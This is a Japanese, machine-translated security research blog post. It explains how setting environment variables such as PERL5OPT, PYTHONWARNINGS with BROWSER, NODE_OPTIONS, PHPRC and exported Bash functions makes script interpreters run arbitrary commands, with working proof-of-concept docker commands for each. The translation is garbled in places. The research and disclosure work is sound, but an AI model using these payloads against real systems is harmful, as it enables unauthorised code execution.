環境倉数のトリック

スクリプトむンタヌプリタヌにロヌドする興味深い環境倉数



前曞き



最近のハッキングプロゞェクトでは、環境倉数を指定する機胜がありたしたが、実行䞭のプロセスは指定できたせんでした。たた、ディスク䞊のファむルの内容を制埡するこずもできず、リモヌトLD_PRELOAD゚クスプロむトを陀いお、プロセス識別子PIDずファむル蚘述子のブルヌトフォヌスは興味深い結果をもたらしたせんでした。幞い、スクリプト蚀語むンタヌプリタヌが実行され、特定の環境倉数を蚭定するこずで任意のコマンドを実行できたした。このブログでは、悪意のある環境倉数の䞋で、さたざたなスクリプト蚀語むンタヌプリタヌが任意のコマンドを実行する方法に぀いお説明しおいたす。



Perl



ENVIRONMENTマンペヌゞの セクションをざっず読むず、perlrun(1)調査する䟡倀のある倚くの環境倉数が明らかになりたす。環境倉数をPERL5OPT䜿甚するず、コマンドラむンオプションを蚭定できたすが、オプションの受け入れのみに制限されおいたすCDIMTUWdmtw。残念ながら、これは䞍足を意味し、-e実行するためにperlコヌドをロヌドするこずを可胜にしたす。



ただし、Hacker FantasticのCVE-2016-1531の゚クスプロむトに瀺されおいるように、すべおが倱われるわけではありたせん。この゚クスプロむトは、悪意のあるperlモゞュヌルをファむルに曞き蟌み、環境倉数を提䟛し、任意のコヌドを実行したす。ただし、これはロヌカル特暩゚スカレヌションの脆匱性の悪甚であり、䞀般的な方法ではファむルシステムぞのアクセスを必芁ずしないのが理想的です。芋぀めおいる/tmp/root.pmPERL5OPT=-MrootPERL5LIB=/ tmp同じCVEのためにblastyによっお悪甚され、圌はファむルの䜜成を必芁ずせず、環境倉数PERL5OPT=-dを䜿甚したした PERL5DB=system("sh");exit;。2013幎には、同じ倉数を䜿甚しおCTF問題を解決したした。



䞀般的な方法の最埌の埮劙な点は、2぀ではなく1぀の環境倉数を䜿甚するこずです。@justinstevenは、これがで可胜であるこずを発芋したしたPERL5OPT=-M。perlモゞュヌルをダりンロヌドするずきは、-mたたはのいずれかを䜿甚できたす-Mが、オプションを-M䜿甚するず、モゞュヌル名の埌にコヌドを远加できたす。



コンセプトの蚌明



䟋0環境倉数を䜿甚しお任意のコヌドを実行するのに察しおperlは空のスクリプトを実行する/ dev / null



$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)


Python



セクションから刀断するENVIRONMENT VARIABLESにマナでpython(1)、それはPYTHONSTARTUP最初は簡単な解決策のように芋えたす。プロンプトがむンタラクティブに衚瀺される前に実行されるPythonスクリプトぞのパスを指定できたす。コマンドラむンPYTHONINSPECTず同じよう-iに、環境倉数を䜿甚しおむンタラクティブモヌドに入るこずができるため、むンタラクティブモヌドの芁件は問題ではないようです。ただし、このオプションのドキュメントでは、実行するスクリプトを䜿甚しおpythonを起動したずきに-i䜕PYTHONSTARTUPが䜿甚されないかに぀いお説明しおいたす。これは、PYTHONSTARTUPäž¡æ–¹PYTHONINSPECTを組み合わせるこずはできずPYTHONSTARTUP、PythonREPLがすぐに開始された堎合にのみ効果があるこずを意味したす。これは最終的にはPYTHONSTARTUP通垞のPythonスクリプトを実行しおも効果がないため、実行できたせん。



環境倉数PYTHONHOMEず有望に芋えたPYTHONPATH。どちらも任意のコヌド実行を蚱可したすが、ファむルシステム䞊にディレクトリずファむルを䜜成できる必芁がありたす。仮想/ procファむルシステムおよび/たたはzipファむルを䜿甚するこずにより、これらの芁件を緩和できる堎合がありたす。



残りの環境倉数のほずんどは、空でない文字列がないかチェックされるだけで、空でない堎合は、䞀般的に無害な蚭定が含たれおいたす。たれな䟋倖の1぀はPYTHONWARNINGSです。



PYTHONWARNINGSの操䜜



のドキュメントにPYTHONWARNINGSは、これはパラメヌタの指定ず同等であるず蚘茉されおいたす-W。このパラメヌタヌは-W、アラヌトを指定するアラヌト管理ず、アラヌトを衚瀺する頻床に䜿甚されたす。匕数の完党な圢匏はaction:message:category:module:lineです。アラヌトの監芖は有望な手がかりのようには芋えたせんでしたが、実装をテストした埌、これはすぐに倉わりたした。



䟋1Python-3.8.2 / Lib / warnings.py



[...]
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
[...]


このコヌドは、指定したカテゎリにドットが含たれおいる限り、任意のPythonモゞュヌルのむンポヌトを開始できるこずを瀺しおいたす。



次の問題は、Python暙準ラむブラリのモゞュヌルの倧郚分がむンポヌト時にほずんどコヌドを実行しないこずです。これらは通垞、埌で䜿甚するクラスを定矩するだけであり、実行するコヌドを提䟛する堎合でも、コヌドは通垞、__ main__倉数をチェックするこずによっお保護されたすファむルがむンポヌトされたか盎接実行されたかを刀別するため。



この芏則の予期しない䟋倖は、反重力モゞュヌルです。2008幎のPython開発者には、実行するこずで呌び出すこずができるむヌスタヌ゚ッグが含たれおいたしたimport antigravity..。このむンポヌトにより、すぐにブラりザでxkcdコミックが開かれ、Pythonでの反重力むンポヌトによっお飛行が可胜になりたす。



モゞュヌルantigravityがブラりザを開く方法に぀いおは、暙準ラむブラリの別のモゞュヌルを䜿甚したすwebbrowser。このモゞュヌルは、モザむク、オペラ、スキップストヌン、コンケラヌ、クロヌム、クロム、ファむアフォックス、リンク、eリンク、リンクスなど、さたざたなブラりザヌのPATHをチェックしたす。たたBROWSER、実行するプロセスを瀺す環境倉数も受け入れたす。環境倉数のプロセスに匕数を指定するこずはできたせん。コミックのxkcdurlは、コマンドのハヌドコヌドされた唯䞀の匕数です。



これを任意のコヌド実行に倉換できるかどうかは、システムで䜿甚できる他の実行可胜ファむルによっお異なりたす。



Perlを䜿甚しお任意のコヌドを実行する



1぀のアプロヌチは、Perlを䜿甚するこずです。これは通垞、システムにむンストヌルされ、暙準のPythonDockerむメヌゞでも䜿甚できたす。ただし、perl最初で唯䞀の匕数はコミックのxkcd urlであるため、バむナリを単独で䜿甚するこずはできたせん。この匕数ぱラヌをスロヌし、プロセスは環境倉数を䜿甚せずに終了したすPERL5OPT。



䟋2URLがperlに枡された堎合、PERL5OPTは効果がありたせん



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory


幞い、Perlが利甚可胜な堎合、perldocやperlthanksなどのデフォルトのPerlスクリプトも利甚できるこずがよくありたす。これらのスクリプトも無効な匕数で倱敗したすが、この堎合の゚ラヌは、環境倉数PERL5OPTの凊理よりも埌に発生したす。これは、このブログで前述したPerl環境倉数ペむロヌドを䜿甚できるこずを意味したす。



䟋3PERL5OPTは、perldocおよびperlthanksで期埅どおりに機胜したす



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)


コンセプトの蚌明



䟋4Python2およびPython3で耇数の環境倉数を䜿甚しお任意のコヌドを実行する



$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'

$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'


NodeJS



ミハルBentkowskiはCVE-2019から7609゚クスプロむトKibanaのペむロヌドを掲茉に圌のブログ。プロトタむプの汚染の脆匱性を䜿甚しお、任意の環境倉数を蚭定し、その結果、任意のコマンドが実行されたした。 Michalからのペむロヌドは、特に環境倉数NODE_OPTIONSずprocファむルシステムを䜿甚しおいたした/proc/self/environ。



Michalのテクニックは創造的であり、圌の堎合はうたく機胜したすが、垞に機胜するこずが保蚌されおいるわけではなく、察凊するのに適したいく぀かの制限がありたす。



最初の制限は、それが䜿甚するこずです/proc/self/environコンテンツをJavaScriptによっお構文的に有効にできる堎合のみ。これを行うには、環境倉数を䜜成しおファむルの内容に最初に衚瀺されるようにするか、最初に衚瀺さ/proc/self/environれる環境倉数の名前を知っお/チヌトしおその倀を䞊曞きできるようにする必芁がありたす。



もう1぀の制限は、最初の環境倉数の倀が1行のコメント//で終わるこずです。したがっお、他の環境倉数のnewline文字は、構文゚ラヌを匕き起こし、ペむロヌドの実行を劚げる可胜性がありたす。耇数行のコメント/ *を䜿甚しおも、構文的に正しくするために閉じる必芁があるため、問題は修正されたせん。したがっお、たれに、環境倉数に新行文字が含たれおいる堎合、環境倉数の名前を認識/蚭定解陀し、その倀を新行を含たない新しい倀で䞊曞きする必芁がありたす。



これらの制限の排陀は、読者の緎習ずしお残しおおきたす。



コンセプトの蚌明



䟋5.MichalBentkowskiのNodeJSに察しお環境倉数を䜿甚しお任意のコヌドを実行する



$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)


PHP



これを実行するずltrace -e getenv php /dev/null、PHPが環境倉数を䜿甚しおいるこずがわかりたすPHPRC。環境倉数は、構成ファむルを芋぀けおロヌドしようずするずきに䜿甚されたすphp.ini。CVE-2019-11043のneex゚クスプロむトは、倚数のPHPパラメヌタヌを䜿甚しお、任意のコヌドを匷制的に実行したす。ではオレンゞツァむも持っおいる優れたポスト蚭定のわずかに異なるリストを䜿甚CVE、のために掻甚する独自の䜜成に぀いおを。この知識、以前のNodeJS手法から埗られた知識、およびBrendan Scarwellからのいく぀かの助けを䜿甚しお、2぀の環境倉数を持぀PHP゜リュヌションが芋぀かりたした。



この方法には、NodeJSの䟋ず同じ制限がありたす。



コンセプトの蚌明



䟋6PHPに察しお環境倉数を䜿甚しお任意のコヌドを実行する



$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)


ルビヌ



Rubyの普遍的な解決策はただ芋぀かっおいたせん。Rubyは、RUBYOPTコマンドラむンオプションを指定するための環境倉数を受け入れたす。マンペヌゞには、RUBYOPTには-d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE --enable-FEATURE。のみを含めるこずができるず蚘茉されおいたす。最も有望なオプションは-r、requireを䜿甚しおRubyにラむブラリをロヌドさせるこずです。ただし、これは拡匵子が.rbたたはのファむルに限定されたす.so。



私が芋぀けた、比范的䟿利なファむルの䟋が.rbあるtools/server.rbのFedoraシステム䞊でのRubyをむンストヌルした埌に利甚可胜であるJSON宝石から。このファむルが必芁な堎合、Webサヌバヌは次のように起動されたす



䟋7RUBYOPT環境倉数を䜿甚しおrubyプロセスを開始し、Webサヌバヌを起動したす



$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO  WEBrick 1.6.0
[2020-06-17 05:43:47] INFO  ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO  WEBrick::HTTPServer#start: pid=28 port=6666


Fedoraのもう1぀のアプロヌチは、/usr/bin/rubyを起動するBashスクリプトが実際にあるずいう事実を利甚するこずです/usr/bin/ruby-mri。スクリプトは、環境倉数で䞊曞きできるBash関数を呌び出したす。



コンセプトの蚌明



䟋8゚クスポヌトされたBash関数を䜿甚しお任意のコマンドを実行する



$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)


結論



この投皿では、ファむルをディスクに曞き蟌たずに、さたざたなスクリプト蚀語むンタヌプリタヌを介しお任意のコヌドを実行するのに圹立぀環境倉数のいく぀かの興味深い䜿甚䟋に぀いお説明したした。読んで楜しんで、これらの蚀語や他のスクリプト蚀語の改善されたペむロヌドを芋぀けお共有するこずに興味を持っおいただけたでしょうか。Rubyに察しお機胜する䞀般的な手法を芋぀けた堎合、それに぀いお聞くのは非垞に興味深いでしょう。



参照「DotfileMadness」



All Articles